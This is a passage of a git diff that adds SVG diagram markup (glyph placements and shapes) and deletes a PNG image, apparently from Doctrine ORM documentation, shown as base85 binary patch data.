+  <use xlink:href="#glyph1-55" x="296.277778" y="331.017904"/>
+  <use xlink:href="#glyph1-1" x="301.555556" y="331.017904"/>
+  <use xlink:href="#glyph1-29" x="304.611111" y="331.017904"/>
+  <use xlink:href="#glyph1-15" x="307.944444" y="331.017904"/>
+  <use xlink:href="#glyph1-10" x="312.944444" y="331.017904"/>
+  <use xlink:href="#glyph1-7" x="316" y="331.017904"/>
+  <use xlink:href="#glyph1-13" x="322.388889" y="331.017904"/>
+  <use xlink:href="#glyph1-7" x="328.777778" y="331.017904"/>
+  <use xlink:href="#glyph1-41" x="335.166667" y="331.017904"/>
+  <use xlink:href="#glyph1-29" x="341.555556" y="331.017904"/>
+  <use xlink:href="#glyph1-4" x="344.888889" y="331.017904"/>
+  <use xlink:href="#glyph1-12" x="350.722222" y="331.017904"/>
+  <use xlink:href="#glyph1-6" x="354.611111" y="331.017904"/>
+  <use xlink:href="#glyph1-11" x="360.722222" y="331.017904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-12" x="241" y="349.361654"/>
+  <use xlink:href="#glyph1-47" x="245.166667" y="349.361654"/>
+  <use xlink:href="#glyph1-6" x="251.555556" y="349.361654"/>
+  <use xlink:href="#glyph1-10" x="257.666667" y="349.361654"/>
+  <use xlink:href="#glyph1-48" x="260.722222" y="349.361654"/>
+  <use xlink:href="#glyph1-4" x="267.388889" y="349.361654"/>
+  <use xlink:href="#glyph1-12" x="273.222222" y="349.361654"/>
+  <use xlink:href="#glyph1-6" x="277.111111" y="349.361654"/>
+  <use xlink:href="#glyph1-14" x="282.944444" y="349.361654"/>
+  <use xlink:href="#glyph1-13" x="289.333333" y="349.361654"/>
+  <use xlink:href="#glyph1-8" x="295.722222" y="349.361654"/>
+  <use xlink:href="#glyph1-15" x="299.611111" y="349.361654"/>
+  <use xlink:href="#glyph1-10" x="304.611111" y="349.361654"/>
+  <use xlink:href="#glyph1-2" x="307.666667" y="349.361654"/>
+  <use xlink:href="#glyph1-4" x="314.055556" y="349.361654"/>
+  <use xlink:href="#glyph1-12" x="319.888889" y="349.361654"/>
+  <use xlink:href="#glyph1-4" x="324.055556" y="349.361654"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.3 36 C 0.134375 36 0 36.134375 0 36.3 L 0 40.7 C 0 40.865625 0.134375 41 0.3 41 L 8.7 41 C 8.865625 41 9 40.865625 9 40.7 L 9 36.3 C 9 36.134375 8.865625 36 8.7 36 Z M 0.3 36 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="29.429688" y="260.14681"/>
+  <use xlink:href="#glyph1-2" x="32.485243" y="260.14681"/>
+  <use xlink:href="#glyph1-39" x="38.874132" y="260.14681"/>
+  <use xlink:href="#glyph1-10" x="41.929688" y="260.14681"/>
+  <use xlink:href="#glyph1-17" x="44.985243" y="260.14681"/>
+  <use xlink:href="#glyph1-18" x="51.65191" y="260.14681"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="29.429688" y="278.49056"/>
+  <use xlink:href="#glyph1-4" x="35.818576" y="278.49056"/>
+  <use xlink:href="#glyph1-5" x="41.65191" y="278.49056"/>
+  <use xlink:href="#glyph1-6" x="51.096354" y="278.49056"/>
+  <use xlink:href="#glyph1-39" x="57.207465" y="278.49056"/>
+  <use xlink:href="#glyph1-10" x="60.263021" y="278.49056"/>
+  <use xlink:href="#glyph1-19" x="63.318576" y="278.49056"/>
+  <use xlink:href="#glyph1-1" x="70.263021" y="278.49056"/>
+  <use xlink:href="#glyph1-20" x="73.318576" y="278.49056"/>
+  <use xlink:href="#glyph1-6" x="78.874132" y="278.49056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="29.429688" y="296.838216"/>
+  <use xlink:href="#glyph1-8" x="35.818576" y="296.838216"/>
+  <use xlink:href="#glyph1-1" x="39.707465" y="296.838216"/>
+  <use xlink:href="#glyph1-9" x="42.763021" y="296.838216"/>
+  <use xlink:href="#glyph1-6" x="47.763021" y="296.838216"/>
+  <use xlink:href="#glyph1-39" x="53.874132" y="296.838216"/>
+  <use xlink:href="#glyph1-10" x="56.929688" y="296.838216"/>
+  <use xlink:href="#glyph1-21" x="59.985243" y="296.838216"/>
+  <use xlink:href="#glyph1-22" x="66.65191" y="296.838216"/>
+  <use xlink:href="#glyph1-23" x="73.318576" y="296.838216"/>
+  <use xlink:href="#glyph1-23" x="79.985243" y="296.838216"/>
+  <use xlink:href="#glyph1-24" x="86.65191" y="296.838216"/>
+  <use xlink:href="#glyph1-23" x="89.15191" y="296.838216"/>
+  <use xlink:href="#glyph1-23" x="95.818576" y="296.838216"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-2" x="29.429688" y="315.181966"/>
+  <use xlink:href="#glyph1-6" x="35.818576" y="315.181966"/>
+  <use xlink:href="#glyph1-11" x="41.929688" y="315.181966"/>
+  <use xlink:href="#glyph1-9" x="46.929688" y="315.181966"/>
+  <use xlink:href="#glyph1-8" x="52.207465" y="315.181966"/>
+  <use xlink:href="#glyph1-1" x="56.096354" y="315.181966"/>
+  <use xlink:href="#glyph1-7" x="59.15191" y="315.181966"/>
+  <use xlink:href="#glyph1-12" x="65.540799" y="315.181966"/>
+  <use xlink:href="#glyph1-1" x="69.707465" y="315.181966"/>
+  <use xlink:href="#glyph1-13" x="72.763021" y="315.181966"/>
+  <use xlink:href="#glyph1-3" x="79.15191" y="315.181966"/>
+  <use xlink:href="#glyph1-39" x="85.540799" y="315.181966"/>
+  <use xlink:href="#glyph1-10" x="88.596354" y="315.181966"/>
+  <use xlink:href="#glyph1-25" x="91.65191" y="315.181966"/>
+  <use xlink:href="#glyph1-26" x="98.040799" y="315.181966"/>
+  <use xlink:href="#glyph1-6" x="103.874132" y="315.181966"/>
+  <use xlink:href="#glyph1-2" x="109.985243" y="315.181966"/>
+  <use xlink:href="#glyph1-10" x="116.374132" y="315.181966"/>
+  <use xlink:href="#glyph1-14" x="119.429688" y="315.181966"/>
+  <use xlink:href="#glyph1-6" x="125.818576" y="315.181966"/>
+  <use xlink:href="#glyph1-4" x="131.929688" y="315.181966"/>
+  <use xlink:href="#glyph1-8" x="137.763021" y="315.181966"/>
+  <use xlink:href="#glyph1-40" x="141.096354" y="315.181966"/>
+  <use xlink:href="#glyph1-10" x="142.763021" y="315.181966"/>
+  <use xlink:href="#glyph1-31" x="145.818576" y="315.181966"/>
+  <use xlink:href="#glyph1-29" x="152.207465" y="315.181966"/>
+  <use xlink:href="#glyph1-41" x="155.540799" y="315.181966"/>
+  <use xlink:href="#glyph1-6" x="161.929688" y="315.181966"/>
+  <use xlink:href="#glyph1-40" x="168.040799" y="315.181966"/>
+  <use xlink:href="#glyph1-10" x="169.707465" y="315.181966"/>
+  <use xlink:href="#glyph1-42" x="172.763021" y="315.181966"/>
+  <use xlink:href="#glyph1-4" x="176.65191" y="315.181966"/>
+  <use xlink:href="#glyph1-11" x="182.485243" y="315.181966"/>
+  <use xlink:href="#glyph1-12" x="187.485243" y="315.181966"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-9" x="29.429688" y="333.525716"/>
+  <use xlink:href="#glyph1-4" x="34.707465" y="333.525716"/>
+  <use xlink:href="#glyph1-12" x="40.540799" y="333.525716"/>
+  <use xlink:href="#glyph1-6" x="44.429688" y="333.525716"/>
+  <use xlink:href="#glyph1-14" x="50.263021" y="333.525716"/>
+  <use xlink:href="#glyph1-13" x="56.65191" y="333.525716"/>
+  <use xlink:href="#glyph1-8" x="63.040799" y="333.525716"/>
+  <use xlink:href="#glyph1-15" x="66.929688" y="333.525716"/>
+  <use xlink:href="#glyph1-39" x="72.485243" y="333.525716"/>
+  <use xlink:href="#glyph1-10" x="75.540799" y="333.525716"/>
+  <use xlink:href="#glyph1-19" x="78.596354" y="333.525716"/>
+  <use xlink:href="#glyph1-1" x="85.540799" y="333.525716"/>
+  <use xlink:href="#glyph1-20" x="88.596354" y="333.525716"/>
+  <use xlink:href="#glyph1-6" x="94.15191" y="333.525716"/>
+  <use xlink:href="#glyph1-11" x="100.263021" y="333.525716"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.692773 26.453906 C 10.692773 26.737695 10.468945 26.967969 10.192773 26.967969 C 9.916602 26.967969 9.692773 26.737695 9.692773 26.453906 C 9.692773 26.169922 9.916602 25.939844 10.192773 25.939844 C 10.468945 25.939844 10.692773 26.169922 10.692773 26.453906 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="221.535156" y="55.873372"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.7 30.404297 C 10.7 30.688281 10.476172 30.918359 10.2 30.918359 C 9.923828 30.918359 9.7 30.688281 9.7 30.404297 C 9.7 30.120508 9.923828 29.890234 10.2 29.890234 C 10.476172 29.890234 10.7 30.120508 10.7 30.404297 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-18" x="221.679688" y="134.881185"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.7 36.287109 C 10.7 36.571094 10.476172 36.801172 10.2 36.801172 C 9.923828 36.801172 9.7 36.571094 9.7 36.287109 C 9.7 36.00332 9.923828 35.773047 10.2 35.773047 C 10.476172 35.773047 10.7 36.00332 10.7 36.287109 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-27" x="221.679688" y="252.537435"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.7 40.269336 C 10.7 40.55332 10.476172 40.783398 10.2 40.783398 C 9.923828 40.783398 9.7 40.55332 9.7 40.269336 C 9.7 39.985547 9.923828 39.755273 10.2 39.755273 C 10.476172 39.755273 10.7 39.985547 10.7 40.269336 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-33" x="221.679688" y="332.181966"/>
+</g>
+</g>
+</svg>
diff --git a/_images/doctrine/mapping_single_entity.png b/_images/doctrine/mapping_single_entity.png
deleted file mode 100644
index 6f88c6cacfa007705371e9c2c01ef80b3f87fd69..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 64366
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
